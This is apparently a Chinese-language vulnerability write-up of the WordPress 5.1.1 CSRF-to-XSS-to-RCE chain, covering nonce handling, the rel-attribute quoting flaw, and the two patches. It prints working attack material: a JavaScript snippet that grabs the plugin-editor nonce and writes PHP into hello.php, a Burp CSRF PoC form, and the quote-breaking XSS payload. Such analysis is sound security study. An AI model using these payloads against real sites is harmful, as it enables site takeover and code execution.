WordPress 5.1.1 ,CSRF->XSS->RCE漏洞分析

WordPress 5.1.1 ,CSRF->XSS->RCE漏洞分析

WordPress安全机制与XSS写shell

nonce机制

在WordPress中,对不同操作都做了nonce检测机制,以防CSRF攻击。
nonce值的生成:

1
$expected = substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce'), -12, 10 );

其中,$i是由时间决定的随机数,每天的0时与12时更新一次;$action是操作;$uid是用户id;$token是用户登陆时服务器产生的,每次登陆都不同。
由此可见,nonce可以很好地避免CSRF等漏洞的产生。

后台账户重要性

WordPress认为,后台管理员是有安全意识的,而且不会被盗。所以在WordPress的后台没有XSS过滤;甚至可以通过插件编辑器直接写入webshell。

XSS后台写shell

  • 有了nonce机制并且给后台用户较大的权限时,就可以通过XSS直接写入webshell。
  • 利用后台管理员可以通过编辑插件写入任意代码这个特点,我们可以构造写入任意代码的JS。 可以获取webshell的JS脚本为(测试环境:WordPress5.1.1,不同版本的参数可能不同,需要抓包重写):
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    <html>
    <script>
    p = 'wordpress/wp-admin/plugin-editor.php?';
    q = 'file=hello.php';
    s = '<?php phpinfo();';
    a = new XMLHttpRequest();
    a.open('GET', p+q, 0);
    a.send();
    $ = 'nonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
    '&newcontent=' + s + '&action=edit-theme-plugin-file&' + q +'&plugin=hello.php';
    b = new XMLHttpRequest();
    b.open('POST', p+q, 1);
    b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    b.send($);
    b.onreadystatechange = function(){
    if (this.readyState == 4) {
    fetch('wordpress/wp-content/plugins/hello.php');
    }
    }
    </script>
    </html>

漏洞复现

由于我复现的时候 5.1.1已经被修复了,贴一个找到的未修复的commit: https://codeload.github.com/WordPress/WordPress/zip/df681b2ee0c01c3282f07feaed0b498546c87be3

  • 安装完WordPress并使用管理员登陆后,进入评论使用burp构造CSRFpayload:

    1
    <a title=' " onmouseover=alert(1) attr2=" ' rel='1'>click

  • 生成的POC:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <html>
    <!-- CSRF PoC - generated by Burp Suite Professional -->
    <body>
    <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:801/cms/wordpress-5.1.1/wordpress/wp-comments-post.php" method="POST">
    <input type="hidden" name="comment" value="&lt;a&#32;title&#61;&apos;&#32;&quot;&#32;onmouseover&#61;alert&#40;1&#41;&#32;attr2&#61;&quot;&#32;&apos;&#32;rel&#61;&apos;1&apos;&gt;click" />
    <input type="hidden" name="submit" value="Post&#32;Comment" />
    <input type="hidden" name="comment&#95;post&#95;ID" value="1" />
    <input type="hidden" name="comment&#95;parent" value="0" />
    <input type="hidden" name="&#95;wp&#95;unfiltered&#95;html&#95;comment" value="no_need_correct" />
    <input type="submit" value="Submit request" />
    </form>
    </body>
    </html>

  • 管理用户访问POC后,会产生一个a标签并注入js代码,执行效果:
  • 此时,就可以执行写shell的JS代码,达到getshell的目的。

漏洞分析

再次看看前面的payload:

1
<a title=' " onmouseover=alert(1) attr2=" ' rel='1'>click

需要注意的是:a后的第一个属性必须为$allowedposttags白名单中的属性,如title、id等,否则WordPress会直接去掉该属性。 查看全局允许的属性名:

由于之前的操作繁琐(主要是评论的各种过滤),直接在漏洞修复处打断点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function wp_rel_nofollow_callback( $matches ) {
$text = $matches[1];
$atts = shortcode_parse_atts( $matches[1] );
$rel = 'nofollow';
if ( preg_match( '%href=["\'](' . preg_quote( set_url_scheme( home_url(), 'http' ) ) . ')%i', $text ) ||
preg_match( '%href=["\'](' . preg_quote( set_url_scheme( home_url(), 'https' ) ) . ')%i', $text ) ) {
return "<a $text>";
}
if ( ! empty( $atts['rel'] ) ) { //rel属性不为空时
$parts = array_map( 'trim', explode( ' ', $atts['rel'] ) );
if ( false === array_search( 'nofollow', $parts ) ) {
$parts[] = 'nofollow';
}
$rel = implode( ' ', $parts );
unset( $atts['rel'] );
$html = '';
foreach ( $atts as $name => $value ) {
$html .= "{$name}=\"$value\" "; //注意此处对每个属性的值添加双引号
}
$text = trim( $html );
}
return "<a $text rel=\"$rel\">";
}

可以很明显的注意到,在调用解析rel属性的函数时,如果存在rel属性,首先将解析的每一个属性直接拼接进去并且加上双引号。
WordPress对属性的解析与浏览器的解析一致,大致如下: 1. 外界为双引号,则把双引号内字符串解析为属性而不会加转义 2. 外界为单引号,则把单引号内字符串解析为属性而不会加转义

而在此处,如果单引号中包含双引号,解析时被当做属性,自然不会转义,而最后却被包裹上了双引号,从而造成闭合,原本在属性中的恶意代码被解析:

1
2
3
<a title=' " onmouseover=alert(1) attr2=" ' rel='1'>click
->
<a title=" " onmouseover=alert(1) attr2=" " rel="1">click

最后输出的结果为:

1
<a title=" " onmouseover="alert(1)" attr2=" " rel="1 nofollow">click</a>

从而造成XSS

修复分析

针对此漏洞的修复主要有两个:
第一处: 可以看到使用esc_attr函数对属性进行转义了。

第二处: 第二处修补使用wp_filter_kses代替了wp_filter_post_kses。 首先查看wp_filter_post_kses

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function wp_filter_post_kses( $data ) {
return addslashes( wp_kses( stripslashes( $data ), 'post' ) );
}
跟进->
function wp_kses( $string, $allowed_html, $allowed_protocols = array() ) {
if ( empty( $allowed_protocols ) ) {
$allowed_protocols = wp_allowed_protocols();
}
$string = wp_kses_no_null( $string, array( 'slash_zero' => 'keep' ) );
$string = wp_kses_normalize_entities( $string );
$string = wp_kses_hook( $string, $allowed_html, $allowed_protocols );
return wp_kses_split( $string, $allowed_html, $allowed_protocols ); //注意此处
}

可以看到,该函数主要是基于$allowed_html对string进行了过滤。

再查看wp_filter_kses

1
2
3
function wp_filter_kses( $data ) {
return addslashes( wp_kses( stripslashes( $data ), current_filter() ) );
}

同样地,使用了wp_kses函数,不同的是这次传入的是current_filter(),其中关键的过滤功能在函数wp_kses_split中,跟进:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
function wp_kses_split( $string, $allowed_html, $allowed_protocols ) {
global $pass_allowed_html, $pass_allowed_protocols;
$pass_allowed_html = $allowed_html;
$pass_allowed_protocols = $allowed_protocols;
return preg_replace_callback( '%(<!--.*?(-->|$))|(<[^>]*(>|$)|>)%', '_wp_kses_split_callback', $string );
}
跟进_wp_kses_split_callback->
function _wp_kses_split_callback( $match ) {
global $pass_allowed_html, $pass_allowed_protocols;
return wp_kses_split2( $match[0], $pass_allowed_html, $pass_allowed_protocols );
}
跟进wp_kses_split2->
function wp_kses_split2( $string, $allowed_html, $allowed_protocols ) {
$string = wp_kses_stripslashes( $string );
...
if ( ! is_array( $allowed_html ) ) {
$allowed_html = wp_kses_allowed_html( $allowed_html );
}
...
}
跟进wp_kses_allowed_html->
function wp_kses_allowed_html( $context = '' ) {
global $allowedposttags, $allowedtags, $allowedentitynames;
...
switch ( $context ) {
case 'post':
$tags = apply_filters( 'wp_kses_allowed_html', $allowedposttags, $context );
if ( ! CUSTOM_TAGS && ! isset( $tags['form'] ) && ( isset( $tags['input'] ) || isset( $tags['select'] ) ) ) {
$tags = $allowedposttags;
$tags['form'] = array(
'action' => true,
'accept' => true,
'accept-charset' => true,
'enctype' => true,
'method' => true,
'name' => true,
'target' => true,
);
$tags = apply_filters( 'wp_kses_allowed_html', $tags, $context );
}
return $tags;
case 'user_description':
case 'pre_user_description':
$tags = $allowedtags;
$tags['a']['rel'] = true;
return apply_filters( 'wp_kses_allowed_html', $tags, $context );
case 'strip':
return apply_filters( 'wp_kses_allowed_html', array(), $context );
case 'entities':
return apply_filters( 'wp_kses_allowed_html', $allowedentitynames, $context );
case 'data':
default:
return apply_filters( 'wp_kses_allowed_html', $allowedtags, $context );
}

可以看到,传入post时,使用$allowedposttags过滤;传入current_filter()解析出的pre_comment_content时则进入default,使用$allowedtags过滤。 这两个数组都是全局变量,$allowedposttags中包括各种标签,其中就包括a以及其rel属性:

1
2
3
4
5
6
7
8
9
10
'a' => array(
'href' => true,
'rel' => true,
'rev' => true,
'name' => true,
'target' => true,
'download' => array(
'valueless' => 'y',
),
)

$allowedtags$allowedposttags严格的多,其中a标签的内容如下:

1
2
3
4
'a' => array(
'href' => true,
'title' => true,
)

所以,第二个修复点其实是把标签白名单缩小了,不允许rel的出现

参考资料

  • https://www.bynicolas.com/code/wordpress-nonce/
  • https://brutelogic.com.br/blog/compromising-cmses-xss/
  • https://lorexxar.cn/2017/08/23/xss-tuo/
  • https://lorexxar.cn/2019/03/14/wp5-1-1xss/